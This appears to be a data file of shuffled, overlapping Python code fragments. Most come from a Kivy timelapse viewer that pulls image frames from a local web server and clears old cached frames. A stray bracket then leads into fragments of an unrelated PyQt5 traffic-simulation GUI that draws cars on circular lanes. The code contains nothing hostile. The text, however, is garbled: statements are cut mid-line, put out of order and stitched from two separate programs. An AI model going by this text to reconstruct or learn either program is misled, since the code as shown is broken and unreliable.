"0 self.rightCount = 0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN: if",
"are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of the image Eg. 'IMG'\")",
"NoTransition from kivy.uix.label import Label from kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout",
"'scrollDebug' class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition()) return(self.manager) # Start the app",
"of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to the",
"========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE: for",
"ma) return True except: print(\"server down!\") return False # ========================== # Update thread",
"global _CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE: for i in range(tls._MIN, min_i):",
"========================== # Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL = 10 # every",
"str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass # Timelapse Share",
"> tls._MAX: self.index = tls._MAX if self.index < tls._MIN: self.index = tls._MIN try:",
"parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if",
"urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines = indx.readlines() mi = int(lines[0])",
"by Server.py ''' from kivy.config import Config import timelapseshare as tls import PIL",
"# Timelapse Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX:",
"# Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard, keycode,",
"argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where the images are",
"= self.index - _SPEED elif touch.button == 'scrollup': if self.index < tls._MAX: self.index",
"= 0 self.leftCount = 0 self.rightCount = 0 if (self.index+self.velo) > tls._MAX or",
"from kivy.graphics import Rectangle, Color from kivy.clock import Clock # ========================== # Defaults",
"def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if",
"range(tls._MIN, min_i): # delete files in that range try: print(\"removing \" + str(i))",
"__init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1,",
"\" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i)",
"updateScroll(self, *args): app = App.get_running_app() if self.leftKey: if self.leftCount >= 4: self.velo =",
"print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except:",
"tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app =",
"tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen",
"# gets files in that range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER +",
"as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import",
"None def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1] == 'left': self.leftKey =",
"self.velo + 1 else: self.velo = 0 self.leftCount = 0 self.rightCount = 0",
"def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1] == 'left': self.leftKey = True",
"kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button",
"BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button",
"+ \" doesn't exist!\") if tls._MAX < max_i: for i in range(tls._MAX, max_i):",
"========================== # Command-Line Arguments # ========================== import argparse import platform def dir_path(string): if",
"master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout)",
"def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== #",
"self.velo = self.velo + 1 else: self.velo = 0 self.leftCount = 0 self.rightCount",
"= tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs)",
"tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if",
"of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of the",
"== 'left': self.leftKey = True elif keycode[1] == 'right': self.rightKey = True return",
"BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout()",
"self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1,",
"self.index+self.velo #print(\"moving : \" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index)",
"return False # ========================== # Update thread # ========================== get_update() def update_loop(): global",
"\"--image_prefix\", type=str, help=\"Sets the prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str,",
"_CLEAR_CACHE: for i in range(tls._MIN, min_i): # delete files in that range try:",
"PIL import _thread import time import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A",
"========================== import argparse import platform def dir_path(string): if os.path.isdir(string): return string else: raise",
"server hosted by the webcam\") args = parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE",
"= tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats();",
"import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from",
"\".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try:",
"global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface #",
"'right': self.rightKey = True return True def _on_keyboard_up(self, keyboard, keycode): if keycode[1] ==",
"(self.index+self.velo) > tls._MAX: self.index = tls._MAX elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN",
"viewer can be run on a RaspberryPI, and pulls timelapse photos from a",
"self).__init__(*args, **kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='',",
"else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory",
"type=str, help=\"Sets the postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets",
"hosted by the webcam\") args = parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY",
"Rectangle, Color from kivy.clock import Clock # ========================== # Defaults # ========================== _SPEED",
"in that range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i)",
"True # Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown':",
"0 self.velo = 0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None",
"keycode[1] == 'right': self.rightKey = True return True def _on_keyboard_up(self, keyboard, keycode): if",
"if self.leftCount >= 4: self.velo = -4 else: self.velo = self.velo - 1",
"= 0 self.rightCount = 0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN:",
"tls import PIL import _thread import time import os os.environ['KIVY_GL_BACKEND'] = 'gl' #",
"FloatLayout from kivy.uix.button import Button from kivy.graphics import Rectangle, Color from kivy.clock import",
"if keycode[1] == 'left': self.leftKey = False elif keycode[1] == 'right': self.rightKey =",
"self.leftKey = False elif keycode[1] == 'right': self.rightKey = False return True #",
"Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout",
"= argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where the images",
"prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of",
"+ str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") if tls._MAX < max_i:",
"tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement,",
"+ \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\")",
"return True except: print(\"server down!\") return False # ========================== # Update thread #",
"kivy.uix.button import Button from kivy.graphics import Rectangle, Color from kivy.clock import Clock #",
"1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image)",
"nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard",
"self.rightCount >= 4: self.velo = 4 else: self.velo = self.velo + 1 else:",
"from a webserver hosted by Server.py ''' from kivy.config import Config import timelapseshare",
"the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of the image",
"hosted by Server.py ''' from kivy.config import Config import timelapseshare as tls import",
"except: pass # Timelapse Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if self.index",
"# ========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index =",
"or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX: self.index = tls._MAX elif (self.index+self.velo)",
"'right': self.rightKey = False return True # Mouse callbacks def on_touch_down(self, touch): if",
"# ========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return",
"if tls._MAX < max_i: for i in range(tls._MAX, max_i): # gets files in",
"touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index > tls._MIN: self.index =",
"**kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def build(self): self.manager",
"App.get_running_app() if self.leftKey: if self.leftCount >= 4: self.velo = -4 else: self.velo =",
"import Label from kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import",
"exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\")",
"images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of the image Eg.",
"= parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory)",
"def _on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left': self.leftKey = False elif keycode[1]",
"(self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX: self.index =",
"timelapse photos from a webserver hosted by Server.py ''' from kivy.config import Config",
"args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*]",
"Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey =",
"for i in range(tls._MIN, min_i): # delete files in that range try: print(\"removing",
"print(\"[*] SETTING IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING",
"stuff # ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN > min_i and",
"DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout =",
"thread # ========================== get_update() def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop,",
"= App.get_running_app() if self.leftKey: if self.leftCount >= 4: self.velo = -4 else: self.velo",
"= self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app = App.get_running_app() if",
"= self.velo - 1 elif self.rightKey: if self.rightCount >= 4: self.velo = 4",
"postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to",
"keyboard, keycode): if keycode[1] == 'left': self.leftKey = False elif keycode[1] == 'right':",
"print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") if tls._MAX",
"> tls._MIN: self.index = self.index - _SPEED elif touch.button == 'scrollup': if self.index",
"else: self.velo = self.velo + 1 else: self.velo = 0 self.leftCount = 0",
"kivy.graphics import Rectangle, Color from kivy.clock import Clock # ========================== # Defaults #",
"\"http://localhost:8000\" # ========================== # Command-Line Arguments # ========================== import argparse import platform def",
"========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis",
"= indx.readlines() mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return True except:",
"1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False",
"if args.server_url: print(\"[*] SETTING URL TO SERVER : \" + args.server_url) _FILESERVER =",
"photos from a webserver hosted by Server.py ''' from kivy.config import Config import",
"to the server hosted by the webcam\") args = parser.parse_args() if args.image_directory: print(\"[*]",
"'scrollup': if self.index < tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch) def",
"keyboard, keycode, text, modifiers): if keycode[1] == 'left': self.leftKey = True elif keycode[1]",
"update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface",
"time import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT ???? import urllib.request",
"0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard,",
"keycode, text, modifiers): if keycode[1] == 'left': self.leftKey = True elif keycode[1] ==",
"= tls._MAX if self.index < tls._MIN: self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index)",
"from kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from",
"========================== # Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis",
"0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image =",
"get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface # ========================== class DebugScreen(Screen): def __init__(self,",
"= False self.leftCount = 0 self.rightCount = 0 self.velo = 0 # Keyboard",
"size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image",
"> tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX: self.index = tls._MAX",
"max_i): # gets files in that range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER",
"try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") if",
"tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO SERVER : \" + args.server_url) _FILESERVER",
"teasis = datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) #",
"ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current",
"self.leftCount = 0 self.rightCount = 0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo) <",
"import Button from kivy.graphics import Rectangle, Color from kivy.clock import Clock # ==========================",
"06/04/19 Description: This viewer can be run on a RaspberryPI, and pulls timelapse",
"= tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager):",
"True elif keycode[1] == 'right': self.rightKey = True return True def _on_keyboard_up(self, keyboard,",
"- _SPEED elif touch.button == 'scrollup': if self.index < tls._MAX: self.index = self.index",
"self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False self.leftCount = 0 self.rightCount =",
"touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index > tls._MIN: self.index = self.index -",
"import timelapseshare as tls import PIL import _thread import time import os os.environ['KIVY_GL_BACKEND']",
"*args): app = App.get_running_app() if self.leftKey: if self.leftCount >= 4: self.velo = -4",
"< max_i: for i in range(tls._MAX, max_i): # gets files in that range",
"if self.index < tls._MIN: self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source =",
"self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating stuff",
"str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) + \"",
"= True elif keycode[1] == 'right': self.rightKey = True return True def _on_keyboard_up(self,",
"_SPEED = 1 _UPDATE_INTERVAL = 10 # every 10 seconds _CLEAR_CACHE = False",
"'.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to the server hosted by the",
"except: print(str(i) + \" doesn't exist!\") if tls._MAX < max_i: for i in",
"tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines",
"except: pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen =",
"#print(\"moving : \" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except:",
"Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of the image Eg. '.jpg'\")"
] |
[
"from PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer from",
"counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber))",
"cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else:",
"from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer",
"from PyQt5.QtCore import Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform from",
"system to the middle of the screen and reflecting it about x axis",
"painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes is complete. Now drawing",
"#new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint",
"settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after",
"Response System\" self.top=100 self.left=100 self.width=500 self.height=500 #button = QPushButton('button', self) #button.move(0,0) #button.clicked.connect(self.on_click) CarMaintainer()",
"#draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre # ------------------------------------------------------------------------------------------------------------- # Drawing lanes",
"constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) # painter.drawEllipse(QPointF(100,0),5,5) # painter.drawEllipse(QPointF(-100,0),5,5) # painter.drawEllipse(QPointF(0,-100),5,5)",
"lanes is complete. Now drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if",
"paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings",
"STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update)",
"drawing cars painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1",
"painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List: if a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine))",
"painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing a psuedo car",
"class Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) # interval in",
"if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in CarMaintainer.Inner_Car_List:",
"Window(QMainWindow): STATE_OF_EMERGENCY=1 def __init__(self): super().__init__() timer = QTimer(self) timer.setInterval(20) # interval in ms",
"a_car.IS_AMBULANCE == False : painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setBrush(QBrush(Qt.red,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car",
"in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car",
"import Qt from PyQt5.QtCore import QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore import",
"outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),50,50) #black centre",
"a_car.PSUEDO_CAR==False: painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) else: painter.setPen(QPen(Qt.red,1,Qt.DashLine)) #new paint settings for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS)",
"import QtGui from PyQt5.QtWidgets import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen",
"import QTimer from PyQt5.QtGui import QTransform from PyQt5.QtCore import QPointF from CarMaintainer import",
"counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5)",
"timer = QTimer(self) timer.setInterval(20) # interval in ms timer.timeout.connect(self.update) timer.start(0) self.title= \"Emergency Response",
"restore paint settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in CarMaintainer.Outer_Car_List:",
"#translating the coordinate system to the middle of the screen and reflecting it",
"in CarMaintainer.In_Transition_List: painter.setBrush(QBrush(Qt.yellow,Qt.SolidPattern)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) painter.setPen(QPen(Qt.red,1,Qt.SolidLine)) painter.setBrush(QBrush(Qt.green,Qt.NoBrush)) painter.drawEllipse(QPointF(0,0),100,100) #draw constuction line on",
"constuction line on inner lane painter.drawEllipse(QPointF(0,0),200,200) #draw constuction line on outer lane painter.setPen(QPen(Qt.red,1,Qt.SolidLine))",
"from PyQt5.QtCore import QPointF from CarMaintainer import CarMaintainer from Algorithm import Algorithm class",
"Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0], point[1]),5,5) counter=1 for a_car in",
"for Psuedo car painter.setBrush(QBrush(Qt.gray,Qt.NoBrush)) painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing",
"painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),250,250) #draw outer lane painter.setPen(QPen(Qt.yellow,5,Qt.DashLine)) painter.setBrush(QBrush(Qt.gray,Qt.SolidPattern)) painter.drawEllipse(QPointF(0,0),150,150) #draw inner lane painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) painter.setBrush(QBrush(Qt.black,Qt.SolidPattern))",
"PyQt5.QtWidgets import QApplication,QMainWindow, QWidget, QPushButton from PyQt5.QtGui import QPainter,QBrush, QPen from PyQt5.QtCore import",
"# restore paint settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) for a_car in",
"QPainter(self) reflecting_axis= QTransform(1,0,0,0,-1,0,250,250,1) #translating the coordinate system to the middle of the screen",
"screen and reflecting it about x axis to make positive y cooredinates above",
"#button.clicked.connect(self.on_click) CarMaintainer() Algorithm() self.InitWindow() def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1",
"painter.setBrush(QBrush(Qt.green,Qt.SolidPattern)) counter=1 for point in Algorithm.run_algorithm(Window.STATE_OF_EMERGENCY): if counter==1: painter.drawEllipse(QPointF(point[0], point[1]),10,10) counter=-1 else: painter.drawEllipse(QPointF(point[0],",
"def InitWindow(self): self.setWindowIcon(QtGui.QIcon('icon.png')) self.setWindowTitle(self.title) self.setGeometry(self.top,self.left,self.width,self.height) self.show() def on_click(self): Window.STATE_OF_EMERGENCY=1 def paintEvent(self, e): painter=",
"painter.drawEllipse(a_car.calculate_position(),a_car.CAR_GUI_RADIUS,a_car.CAR_GUI_RADIUS) painter.drawText(a_car.calculate_position(),str(a_car.CarNumber)) painter.setPen(QPen(Qt.black,2,Qt.SolidLine)) # restore paint settings after drawing a psuedo car painter.setBrush(QBrush(Qt.green,Qt.SolidPattern))",
